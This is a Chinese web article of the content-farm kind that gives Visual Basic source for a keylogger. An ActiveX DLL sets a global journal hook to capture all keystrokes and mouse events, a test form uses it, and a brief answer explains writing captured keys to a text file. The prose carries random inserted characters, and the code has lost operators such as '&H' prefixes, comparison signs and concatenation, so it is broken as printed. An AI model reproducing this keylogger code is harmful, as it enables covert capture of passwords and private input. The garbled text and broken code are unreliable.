vb键盘记录代码(vba键盘代码)

今天给各位分享vb键盘记录代码的知识，其中也会对vba键盘代码进行解释，如果能碰巧解决你现在面临的问题，别忘了关注本站，现在开始吧！

本文目录一览：

• 1、用vb键盘钩子写一个键盘记录的代码,30分
• 2、vb怎么编写,把键盘按过的键记录在某个记事本里面去?

用vb键盘钩子写一个键盘记录的代码,30分

一、新核携建一个ActiveX Dll工程，名字栏里陆氏唯取名为SysHook

二、添加一个模块，取名为mHook，添加代码如下：

Option Explicit

Type POINTAPI

x As Long

y As Long

End Type

Type TMSG

hwnd As Long

message As Long

wParam As Long

lParam As Long

time As Long

pt As POINTAPI

End Type

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)

Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Public hJournalHook As Long, hAppHook As Long

Public SHptr As Long

Public Const WM_CANCELJOURNAL = H4B

Public Function JournalRecordProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

If nCode 0 Then

JournalRecordProc = CallNextHookEx(hJournalHook, nCode, wParam, lParam)

Exit Function

End If

ResolvePointer(SHptr).FireEvent lParam

Call CallNextHookEx(hJournalHook, nCode, wParam, lParam)

End Function

Public Function AppHookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

If nCode 0 Then

AppHookProc = CallNextHookEx(hAppHook, nCode, wParam, lParam)

Exit Function

End If

Dim msg As TMSG

CopyMemory msg, ByVal lParam, Len(msg)

Select Case msg.message

Case WM_CANCELJOURNAL

If wParam = 1 Then ResolvePointer(SHptr).FireEvent WM_CANCELJOURNAL

End Select

Call CallNextHookEx(hAppHook, nCode, wParam, ByVal lParam)

End Function

Private Function ResolvePointer(ByVal lpObj) As cSystemHook

Dim oSH As cSystemHook

CopyMemory oSH, lpObj, 4

Set ResolvePointer = oSH

CopyMemory oSH, 0, 4

End Function

三、把早培工程自动建立的Class1类模块改名为cSystemHook，添加代码如下：

Option Explicit

Public Event MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)

Public Event MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)

Public Event MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)

Public Event KeyDown(KeyCode As Integer, Shift As Integer)

Public Event KeyUp(KeyCode As Integer, Shift As Integer)

Public Event SystemKeyDown(KeyCode As Integer)

Public Event SystemKeyUp(KeyCode As Integer)

Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long

Private Declare Function GetAsyncKeyState% Lib "user32" (ByVal vKey As Long)

Private Const WM_KEYDOWN = H100

Private Const WM_KEYUP = H101

Private Const WM_MOUSEMOVE = H200

Private Const WM_LBUTTONDOWN = H201

Private Const WM_LBUTTONUP = H202

Private Const WM_LBUTTONDBLCLK = H203

Private Const WM_RBUTTONDOWN = H204

Private Const WM_RBUTTONUP = H205

Private Const WM_RBUTTONDBLCLK = H206

Private Const WM_MBUTTONDOWN = H207

Private Const WM_MBUTTONUP = H208

Private Const WM_MBUTTONDBLCLK = H209

Private Const WM_MOUSEWHEEL = H20A

Private Const WM_SYSTEMKEYDOWN = H104

Private Const WM_SYSTEMKEYUP = H105

Private Const WH_JOURNALRECORD = 0

Private Const WH_GETMESSAGE = 3

Private Type EVENTMSG

wMsg As Long

lParamLow As Long

lParamHigh As Long

msgTime As Long

hWndMsg As Long

End Type

Dim EMSG As EVENTMSG

Public Function SetHook() As Boolean

If hJournalHook = 0 Then hJournalHook = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf JournalRecordProc, App.hInstance, 0)

If hAppHook = 0 Then hAppHook = SetWindowsHookEx(WH_GETMESSAGE, AddressOf AppHookProc, App.hInstance, App.ThreadID)

SetHook = True

End Function

Public Sub RemoveHook()

UnhookWindowsHookEx hAppHook

UnhookWindowsHookEx hJournalHook

End Sub

Private Sub Class_Initialize()

SHptr = ObjPtr(Me)

End Sub

Private Sub Class_Terminate()

If hJournalHook Or hAppHook Then RemoveHook

End Sub

Friend Function FireEvent(ByVal lParam As Long)

Dim i%, j%, k%

Dim s As String

If lParam = WM_CANCELJOURNAL Then

hJournalHook = 0

SetHook

Exit Function

End If

CopyMemory EMSG, ByVal lParam, Len(EMSG)

Select Case EMSG.wMsg

Case WM_KEYDOWN

j = 0

If GetAsyncKeyState(vbKeyShift) Then j = (j Or 1) 'fixed by JJ

If GetAsyncKeyState(vbKeyControl) Then j = (j Or 2) 'fixed by JJ

If GetAsyncKeyState(vbKeyMenu) Then j = (j Or 4) 'fixed by JJ

s = Hex(EMSG.lParamLow)

k = (EMSG.lParamLow And HFF)

RaiseEvent KeyDown(k, j)

s = Left$(s, 2) Right$("00" Hex(k), 2) 'fixed by JJ

EMSG.lParamLow = CLng("h" s)

CopyMemory ByVal lParam, EMSG, Len(EMSG)

Case WM_KEYUP

j = 0 'fixed by JJ

If GetAsyncKeyState(vbKeyShift) Then j = (j Or 1) 'fixed by JJ

If GetAsyncKeyState(vbKeyControl) Then j = (j Or 2) 'fixed by JJ

If GetAsyncKeyState(vbKeyMenu) Then j = (j Or 4) 'fixed by JJ

s = Hex(EMSG.lParamLow)

k = (EMSG.lParamLow And HFF)

RaiseEvent KeyUp(k, j)

s = Left$(s, 2) Right$("00" Hex(k), 2) 'fixed by JJ

EMSG.lParamLow = CLng("h" s)

CopyMemory ByVal lParam, EMSG, Len(EMSG)

Case WM_MOUSEMOVE

i = 0 'fixed by JJ

If GetAsyncKeyState(vbKeyLButton) Then i = (i Or 1) 'fixed by JJ

If GetAsyncKeyState(vbKeyRButton) Then i = (i Or 2) 'fixed by JJ

If GetAsyncKeyState(vbKeyMButton) Then i = (i Or 4) 'fixed by JJ

j = 0 'fixed by JJ

If GetAsyncKeyState(vbKeyShift) Then j = (j Or 1) 'fixed by JJ

If GetAsyncKeyState(vbKeyControl) Then j = (j Or 2) 'fixed by JJ

If GetAsyncKeyState(vbKeyMenu) Then j = (j Or 4) 'fixed by JJ

RaiseEvent MouseMove(i, j, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh))

Case WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_MBUTTONDOWN

i = 0 'fixed by JJ

If GetAsyncKeyState(vbKeyShift) Then i = (i Or 1) 'fixed by JJ

If GetAsyncKeyState(vbKeyControl) Then i = (i Or 2) 'fixed by JJ

If GetAsyncKeyState(vbKeyMenu) Then i = (i Or 4) 'fixed by JJ

RaiseEvent MouseDown(2 ^ ((EMSG.wMsg - 513) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh))

Case WM_LBUTTONUP, WM_RBUTTONUP, WM_MBUTTONUP

i = 0 'fixed by JJ

If GetAsyncKeyState(vbKeyShift) Then i = (i Or 1) 'fixed by JJ

If GetAsyncKeyState(vbKeyControl) Then i = (i Or 2) 'fixed by JJ

If GetAsyncKeyState(vbKeyMenu) Then i = (i Or 4) 'fixed by JJ

RaiseEvent MouseUp(2 ^ ((EMSG.wMsg - 514) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh))

Case WM_SYSTEMKEYDOWN

s = Hex(EMSG.lParamLow)

k = (EMSG.lParamLow And HFF)

If k vbKeyMenu Then RaiseEvent SystemKeyDown(k)

s = Left$(s, 2) Right$("00" Hex(k), 2) 'fixed by JJ

EMSG.lParamLow = CLng("h" s)

CopyMemory ByVal lParam, EMSG, Len(EMSG)

Case WM_SYSTEMKEYUP

s = Hex(EMSG.lParamLow)

k = (EMSG.lParamLow And HFF)

If k vbKeyMenu Then RaiseEvent SystemKeyUp(k)

s = Left$(s, 2) Right$("00" Hex(k), 2) 'fixed by JJ

EMSG.lParamLow = CLng("h" s)

CopyMemory ByVal lParam, EMSG, Len(EMSG)

Case Else

End Select

End Function

四、千万别望了保存（否则你要后悔的），编译生成DLL，然后可以测试了，做一个普通的工程，添加引用SysHook，在窗体中添加测试代码（嘿嘿，可能你会吃点苦头）：

Option Explicit

Dim WithEvents sh As cSystemHook

Private Sub Form_Load()

Set sh = New cSystemHook

sh.SetHook

End Sub

Private Sub Form_Unload(Cancel As Integer)

sh.RemoveHook

Set sh = Nothing

End Sub

Private Sub sh_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)

If Button = 1 Then

MsgBox "你按了左键"

End If

If Button = 2 Then

MsgBox "你按了右键"

End If

End Sub

五、接着你可以试试全局的下列事件（记住刚才的教训，可要小心哦）：

Private Sub sh_KeyDown(KeyCode As Integer, Shift As Integer)

End Sub

Private Sub sh_KeyUp(KeyCode As Integer, Shift As Integer)

End Sub

MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)

End Sub

Private Sub sh_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)

End Sub

Private Sub sh_SystemKeyDown(KeyCode As Integer)

End Sub

Private Sub sh_SystemKeyUp(KeyCode As Integer)

End Sub

vb怎么编写,把键盘按过的键记录在某个记事本里面去?

使用对象的 事件 KEYDOWN

用毁仿腔对象 E 来获取按下的键盘码

将键盘码纤衫 转换为字符

用FILE 对象

指定文件 FELESTREAM=文件地址

用WRITE( 字符大拍 )往里面写文件

关于vb键盘记录代码和vba键盘代码的介绍到此就结束了，不知道你从中找到你需要的信息了吗 ？如果你还想了解更多这方面的信息，记得收藏关注本站。